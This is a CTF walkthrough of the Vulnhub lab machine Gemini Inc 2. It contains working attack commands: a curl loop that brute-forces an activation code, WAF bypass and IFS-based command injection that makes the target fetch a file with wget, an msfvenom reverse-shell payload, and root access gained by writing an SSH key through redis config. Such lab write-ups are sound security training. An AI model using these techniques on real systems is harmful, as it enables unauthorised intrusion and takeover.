CTF: Gemini Inc 2 walkthrough

VM: Gemini Inc: 2
Author: 9emin1 (vulnhub) @sec_9emin1 (twitter)
Series: Gemini Inc
Difficulty: Intermediate
Privilege Escalation: Intermediate*
Target IP:
Slight hint(s): Bypass WAF, redis
This is a walkthrough on the Gemini Inc v2 vulnhub machine.

Phase 1: Enumeration

An initial tcp port scan discovers two public services running: ssh and a web server: Enumerating the string of the ssh banner (OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0) shows that the target is supposedly running either a Debian 9.0 Stretch or Debian 9.8 Sid The web server is running a web application, which is described as an “internal web application designed for employees to view their profile details and also, allow them to export their details to PDF“.
Web application login form – Gemini Inc v2

Dirb shows some interesting files residing on the server:
Running dirb on target Gemini Inc 2
The registration.php interface provides a web interface to register users, which could also be used for username enumeration purposes: – Gemini Inc 2 walkthrough
Username enumeration on target Gemini Inc 2
As the above screenshots show, after trying to register with username “gemini“, the server responded that the username was already in use. I wrote down the username in my notes and registered with another user, named “frank”:  
Registering a new user – Gemini Inc 2
Trying to login with the recently created user however returns a response that the account should be activated:  
Logging in with a recently created user named “frank” – account not yet activated – Gemini Inc 2 walkthrough
The file seems to function as a page for activating accounts by passing the appropriate user ID and a 6-digit code:
Account activation form – Gemini Inc 2 walkthrough
  – the user ID can be seen on the profile link page
User frank has an ID of 14 and requires a 6 digit code for activation – Gemini Inc 2 walkthrough
So from this point there are two logical steps which one could go for: 1) Either try to brute-force the gemini (already-existed user) or 2) brute-force the activation code of user “frank”.  I went for the lower enumerator which in this case is activating the account., as we already have the information that it’s a 6 digit number, which is feasible to crack.

Phase 2: Brute-forcing the 6-digit activation code

I made the following bash script for this purpose:
while IFS= read -r key
 echo "Trying $key"
 CSRF=$(curl -s -c cookiejar http://$ip/activate.php | awk -F 'value=' '/token/ {print $2}' | cut -d "'" -f2)
 curl -s -b cookiejar --data "userid=14&activation_code=$key&token=${CSRF}" "http://$ip/activate.php" >/dev/null
done < "$input"
What it actually does is to get the CSRF token and write it ts session to a file, then make a try using  a string from a 6 digit wordlist, parsing the user id of “frank” which in this case is 14. The 6-digit wordlist can be generated using crunch:
crunch 6 6 0123456789 -o 6digit_wordlist.txt
Cracking account activation code – Gemini Inc 2 walkthrough
After the above script has been running for a while and refreshing frank’s profile, his account seems to has been already activated. Now that the account is active, the “users list” section is accessible:
Users list – Gemini Inc v2 walkthrough
Now that the users can be listed, there’s indeed a “Gemini” account with the name “9emin1”. It’s a bit tricky to notice that the list actually shows the name of the users and the actual username is shown after clicking on the particular user link:
User Gemini is an Administrator – Gemini Inc 2 walkthrough
Enumerating the source of the web page shows gemini’s password as a comment:  
User Gemini – Administrator’s password hash hidden within the source code: edbd1887e772e13c251f688a5f10c1ffbb67960d
I usually either just google these as a first try or use hashkiller. The password is being decrypted as “secretpassword
edbd1887e772e13c251f688a5f10c1ffbb67960d : secretpassword
Logging in with gemini : secretpassword brings the following interface, containing some admin functions called “General Settings” and “Execute command”, which seem to be inaccessible and return a blank page:
Gemini’s admin panel – General Settings and Execute Command seem to be inaccessible
Checking this through burp shows that the page returned a 403 no permission response, which means that the web application probably has some kind of Web Application Firewall.
403 NO PERMISSION (Click to enlarge)
There’s a burp extension called bypass waf which helps into bypassing the application firewall. There’s an interesting read on OWASP regarding Web Application Firewall Profiling and Evasion

Instructions can be found here on how to Set up and use Burp’s plugin Bypass WAF

You need to install the plugin, then go to Project options > Sessions and add a new Session Handling Rule. On Rule actions click “Add > Invoke a burp extension” and then choose Bypass WAF.  
Burp – Setting up Bypass waf plugin – Gemini Inc v2 walkthrough
In the “Scope” section choose target and proxy for the “Tools Scope” subsection and “Use suite scope [defined in target tab]” under the URL Scope. Go to the “Target” section of burp and click the top filter header, then choose “show all” and right-click on the target, click on “Add to scope“. Remember to disable proxy intercepting from the proxy section as well. Click yes and then try to access the admin sections again:
Trying to execute a command results in illegal characters – Gemini Inc v2 walkthrough
It seems that some of the characters like space are being filtered. Among the characters filtered are space, and any type of bracket you might think of like {,(,},) I tried looking for a solution on how to execute bash command with arguments without space and most of the solutions I found included using the above kind of brackets. I found the following interesting threads on Command Injection Without Spaces and Bash Brace Expansion which suggest a way to execute spaceless commands in bash using the following construction:
However in the case with Gemini Inc 2 the curly brackets are filtered.  I tried tampering with some of the options with the Bypass WAF burp plugin to write to a file within the default apache2 directory or download a file using wget. Using the above articles I tried the following solution which didn’t work but I consider it a good reference on bash command injection to have in mind:
The above shellcode is actually a wget command. The pattern didn’t work due to the ‘\’ sign included. I was hoping to pass this in urlencoded form, however the % sign is forbidden as well. So this leaves the attack with quite a tense and annoying attack surface. Researching a bit furder I discovered the IFS Internal Field Separator or also called IFS special shell variable which seems to serve as a bash command or argument separator. My solution was to change the IFS to a different value, which contains an allowed character as a separator (for example “,”) in a one-line command structure and then execute a predefined command as following:
Please note that IFS does not work if called from the session. It has to be in some kind of scope – either in a variable or in a file. 

After I tested the above command injection I got a request on my python listener that the file has been requested:
IFS=”,”;wget,,-O,/tmp/test.txt – Bash command substition, bash command expansion, executing bash commands without spaces (Gemini Inc v2 walkthrough)
Spawning a shell from here is an easy task:
msfvenom -a x86 -p linux/x86/shell_reverse_tcp LHOST= LPORT=443 -b '\x00' -e 'x86/shikata_ga_nai' -f elf -o shell.bin
And then the commands to be executed on the target –

Getting a shell on target Gemini Inc 2 – Gemini Inc v2 walkthrough by d7x

Phase 3: Privilege Escalation

So first things first, I created a ssh keypair and added it to the /home/gemini1/.ssh/authorized_keys file to switch to legitimate access in case the initial payload’s session gets interrupted.  The second step was a simple thing – to try the gemini’s secretpassword as a root password and check for any sudo privileges. Neither went for a privilege escalation vector but simple things as these are always worth trying as I always aim to try the most simple, even if you could call, dumb, vectors at the beginning and slightly begin to raise the bar afterwards while trying to escalate my way in. Then I searched for any plain-text passwords within the system. By typing the following command within the /var/www/html directory you could find a database’s password:
find . -name '*.php' -type f -exec grep -r 'pass*' {} \;
Database password found on Gemini Inc 2
So the password for the database is s3cr3tp2ssw0rd1337 Typing # grep -r ‘s3cr3tp2ssw0rd1337’ shows all the login information for the database.
Database login details on Gemini Inc 2
I tried the above password as well for the gemini1’s account and for the root account hoping for at least a sudo but neither worked. Logging in to the database and enumerating the information from there was a poor shot – it only contained the data of the web application and the users created from the tests, which have been already gathered. There aren’t any additional useful users on the system, however the home directory of gemini1 shows some valuable  details:  
Enumerating the home directory of gemini1 – Gemini Inc v2 Privilege Escalation
Netstat -antp reveals an additional service listening locally except MySQL on port 6379. So there’s a redis-server running with root privileges. So far this suggests two attack vectors – impersonating the redis daemon or getting the password for gemini1, which is probably a sudo user. Unfortunately as there wasn’t any password-related information on the host  which is valid for the user gemini1, this suggests trying to impersonate the redis daemon to get root privileges or look for a debian 9/kernel 4.9 exploit. There is a good read on infsec about Code Execution and Privilege Escalation – Databases As explained in the above article, the “end goal here is to overwrite the ssh authorized_keys file and gain system access with username user privileges.” The first thing towards this is getting access to the red-cli client, which is password-protected. The redis password resides within the “requirepass” directive in the redis configuration file:
requirepass 8a7b86a2cd89d96dfcc125ebcc0535e6 – redis has a password configured – Gemini Inc v2 walkthrough
In order to impersonate redis’ privileges the first step is to create a ssh keypair using ssh-keygen, and then set the dbfilename and dir configuration variables to those of the user to impersonate. In this case, the goal is impersonate the root user account so the target directory would be /root/.ssh and the target dbfilename should be set to authorized_keys.

The following threads can be found useful on How to execute commands using redis or Redis privilege escalation:

Different ways to execute commands using redis-cli 
Redis privilege escalation by swapping ssh keys
DevOoops: In-Memory Databases (Redis) Part 2

For some reason I couldn’t get the cron way to work however the original solution of swapping ssh keys by antirez worked:
1 ) Generate a key using ssh-keygen
In my case the private and public keys are named id_rsa and id_rsa.pub (respectively)

2 ) Padd the public key with some newlines
sed -ie '1s/^/\n\n/' id_rsa.pub
echo -e "\n\n" >> id_rsa.pub
Privilege Escalation using redis-cli – padding public RSA key
3) Flush redis, insert the RSA’s key data into redis’ memory and set configuration variables
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 flushall
cat id_rsa.pub | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set 1
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
config set dir /root/.ssh/
config set dbfilename authorized_keys
ssh -i id_rsa root@localhost  
Logging in as root on Gemini Inc 2